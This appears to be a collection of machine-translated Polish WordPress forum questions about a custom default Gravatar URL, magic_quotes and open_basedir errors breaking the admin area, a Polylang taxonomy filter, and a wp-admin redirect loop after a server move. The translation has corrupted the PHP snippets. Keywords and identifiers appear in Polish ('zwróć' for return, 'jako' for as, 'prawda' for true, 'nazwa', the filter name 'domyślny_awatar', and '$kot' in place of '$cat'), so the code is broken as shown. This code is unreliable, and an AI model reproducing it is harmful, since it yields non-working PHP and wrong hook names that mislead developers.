text: Próbuję wgrać niestandardowego Gravatara do Wordpressa, jednak coś psuje link do obrazu i nie jestem pewien, jak to naprawić. add_filter( 'domyślny_awatar', 'nowy_domyślny_awatar' ); function new_default_avatar ( $avatar_defaults ) { //Ustaw adres URL, pod którym znajduje się plik obrazu dla twojego awatara $new_avatar_url = get_bloginfo( 'template_directory' ) . '/img/icons/avatar.jpg'; //Ustaw tekst, który pojawi się po prawej stronie twojego awatara w Ustawienia>>Dyskusja $avatar_defaults[$new_avatar_url] = 'Nowy domyślny gravatar'; zwróć $avatar_defaults; } Kod działa, ponieważ otrzymuję przycisk radiowy z opcją dodania Gravatara. Jedyne, co jest zepsute, to rzeczywisty obraz. Kiedy klikam prawym przyciskiem myszy na obrazek, otrzymuję ten adres URL: > http://i2.wp.com/localhost/wordpress/wp-content/themes/blog- > theme/img/icons/avatar.jpg Nie jestem pewien skąd pochodzi i2.wp.com lub co robi. Kiedy to usunę i zrobię > loalhost:888/wordpress/wp-content/themes/blog-theme/img/icons/avatar.jpg widzę obraz Gravatara. Kiedy to wygooglowałem, zobaczyłem, że wiele osób ma ten problem z powodu wtyczek Jetpack i Photon, ale nie mam zainstalowanych żadnych wtyczek.


title: rozwiązane magiczne cytaty - całkowicie łamie administratora

text: uruchomiona wp 3.9 świeża instalacja **aktualizacja** - teraz wszystko jest naprawione: teraz - z nowymi wartościami magic_quotes_gpc Wyłączone Włączone magic_quotes_runtime Wyłączone Włączone magic_quotes_sybase Wyłączone Wyłączone > po lewej: wartość lokalna Po prawej: wartość główna **wszystko poszło dobrze -** uszkodzony obszar administracyjny zniknął --- wszystko idzie dobrze; na stronie, na której mogę skonfigurować widżety, nie mogę nic zrobić. Nie mogę dodawać widżetów i nie wiem dlaczego. w końcu uruchomiłem wp-file-permissions-check, który pochodzi z tego adresu URL https://wordpress.org/plugins/wp-file- permission-check/ odzyskaj następujące **errors:** Error: SplFileInfo:: getPerms() [splfileinfo.getperms]: obowiązuje ograniczenie open_basedir. Plik(/home/vhost/WWW/literaturen.org/..) nie znajduje się w dozwolonych ścieżkach: (/home/vhost/WWW/literaturen.org/:/usr/local/httpd/icons/:/ usr/local/httpd/phptmp/) jak traktować to znalezisko - co nam to mówi!? Myślę, że ze względu na uprawnienia, odpowiednie pliki jQuery dla rdzenia WordPressa nie są ładowane, a tym samym psują backend administratora. Przełączanie motywu i wyłączanie wszystkich wtyczek nadal powoduje problemy, więc najprawdopodobniej tak. inna myśl: prawdopodobnie brakuje biblioteki jQuery, została podmieniona, lub jakoś różni się od wersji **update** tutaj wartości open_basedir według php-ini - tak jak pokazuje aktualne ustawienia serwera: **open_basedir ** **wartość lokalna**: /home/vhost/WWW/literaturen.org/:/usr/local/httpd/icons/:/usr/local/httpd/phptmp/ **wartość główna**: /usr/ local/httpd/docroot i myślę, że może to spowodować wiele problemów i zamieszania - co powiesz!? **explanation:** Ustawienie open_basedir służy przede wszystkim do uniemożliwienia skryptom PHP dla określonego użytkownika dostępu do plików na koncie innego użytkownika. Dlatego zwykle wszystkie pliki na twoim koncie powinny być odczytywane przez twoje własne skrypty. koniec aktualizacji:! zobacz błędy: * nie mogę skonfigurować widżetów * nie mogę uzyskać dostępu do strony set-options * nie mogę przełączyć trybu dostępu -(na stronie set options-page) Mam następujące błędy w konsoli firebug: POST http://literaturen .org/wp-admin/admin-ajax.php 200 OK 1,39s jquery...=1.11.0 (Zeile 4) POBIERZ http://fls-eu.amazon.de/1/batch/1/OE/ A1PA6795UKM...26pc0%3D831%26ld0%3D831%26t0%3D1399322099520:831 204 Brak treści 197ms csm-ba..._V1_.js (Zeile 232) werden Polityka bezpieczeństwa treści: Unbekannte Quelle chrome-extension://lifbcibllhkdhoafpjfnlhfpfgnpldfl konnte nicht verarbeitet werden Dany adres URL nie jest dozwolony przez konfigurację aplikacji.: Co najmniej jeden z podanych adresów URL nie jest dozwolony w ustawieniach aplikacji. Musi być zgodny z adresem URL witryny lub kanwy lub domena musi być subdomeną jednej z domen aplikacji. ping?c...dk=joey (Zeile 1) i następujące błędy: SyntaxError: niedozwolony znak !function(a,b){\"object\"==typ modułu&&\"object\"==typ modułu.exports load-s...ver=3.9 (Zeile 2, Spalte 15) SyntaxError: niedozwolony znak ...c,d){var f;return f=c&&c.hasOwnProperty(\"constructor\")?c.constructor:function (... load-s...ver=3.9 (Zeile 1, Spalte 60) ReferenceError: jQuery nie jest zdefiniowane })( jQuery ); custom.php (Zeile 560) ReferenceError: jQuery nie jest zdefiniowane jQuery(dokument).ready(function() co powiesz!?Może być możliwe, że błędy pochodzą z niewłaściwego katalogu openbase!?


title: Filtr taksonomii pod Polylang

text:
Poniższy kod filtra pochodzi z motywu Themeskingdom Exclusy. Wykonuje zapytanie sql o identyfikatory postów, a następnie odpytuje terminy taksonomii powiązane z tymi postami. Następnie używam wtyczki isotope jquery, aby wyświetlić listę lat (terminów), według których użytkownik może filtrować posty. Mój problem polega na tym, że tworzę dwujęzyczną witrynę z Polylang. I chociaż, gdy jestem w angielskiej wersji strony, otrzymuję tylko listę postów w języku angielskim, otrzymuję wszystkie lata dostępne do filtrowania, zarówno z postów w języku angielskim, jak i w języku ojczystym. Uważam, że muszę zastąpić to zapytanie sql zapytaniem, które pobiera parametr `lang` polylang i otoczyć go bieżącym warunkiem warunkowym. Ale potrzebuję funkcji zapytania, która może zwracać identyfikatory, więc nie zmieniam zbytnio oryginału. A może istnieje prostszy sposób? Dziękuję,
 <?php _e('Filter:', tk_theme_name) ?> <?php _e('All', tk_theme_name) ?> <?php global $wpdb; $gallery_orderby = get_theme_option(tk_theme_name . '_gallery_gallery_orderby'); $gallery_order = get_theme_option(tk_theme_name . '_gallery_gallery_order'); $post_type_ids = $wpdb->get_col("SELECT ID FROM $wpdb->posts WHERE post_type = 'texto' AND post_status = 'publish'"); if (!empty($post_type_ids)) { $post_type_cats = wp_get_object_terms($post_type_ids, 'ano', array('orderby' => 'name', 'order' => 'DESC', 'fields' => 'ids' , 'ukryj_puste' => prawda )); if ($post_type_cats) { $post_type_cats = array_unique($post_type_cats); } } $include_category = null; if (!empty($post_type_ids)) { foreach ($post_type_cats jako $category_list) { $cat = $category_list . ","; $include_category = $include_category . $kot; $cat_name = get_term($category_list, 'ano'); ?> <a href="#" data-filter="<?php echo '.class-' . $category_list ?>"><?php echo $cat_name->nazwa ?> <?php } } ?>


title: Część administracyjna wordpress nie jest dostępna po zmianie serwera

text: jeden z administratorów wp mojej witryny nie jest dostępny, ale ładuje się przednia część witryny. Dzieje się tak po tym, jak po raz drugi uzyskałem dostęp do witryny z mojego nowego serwera. na początku nic się nie dzieje i mogę zalogować się do deski rozdzielczej. potem po wylogowaniu i drugiej próbie zalogowania się pojawia się ten błąd. podczas uzyskiwania dostępu do mysite.com/wp-admin strona pokazuje Strona nie jest poprawnie przekierowywana.Firefox wykrył, że serwer przekierowuje żądanie dla tego adresu w sposób, który nigdy się nie zakończy. Ten problem może czasami być spowodowany wyłączeniem lub odmową akceptowania plików cookie. w public_html/error_log: Ostrzeżenie PHP: require(/home/mysite/public_html/wp-includes/pomo/mo.php) [function.require]: nie powiodło się otwarty strumień: Odmowa uprawnień w /home/mysite/public_html/wp-settings.php w wierszu 76 PHP Błąd krytyczny: require() [function.require]: Nieudane otwarcie wymagany '/home/mojastrona/public_html/wp-includes/pomo/mo.php' (include_path='.:/usr/lib/php:/usr/local/lib/php') w /home/mojastrona/public_html/ wp-settings.php w wierszu 76 cpanel error_log pokazuje: Permission denied: /home/mysite/public_html/wp-admin/.htaccess pcfg_openfile: nie można sprawdzić pliku htaccess, upewnij się, że jest czytelny, htaccess ma uprawnienie 644. ale zmieniłem go na 775 i 755 i sprawdziłem. to samo się dzieje. jaki może być powód? jak to rozwiązać?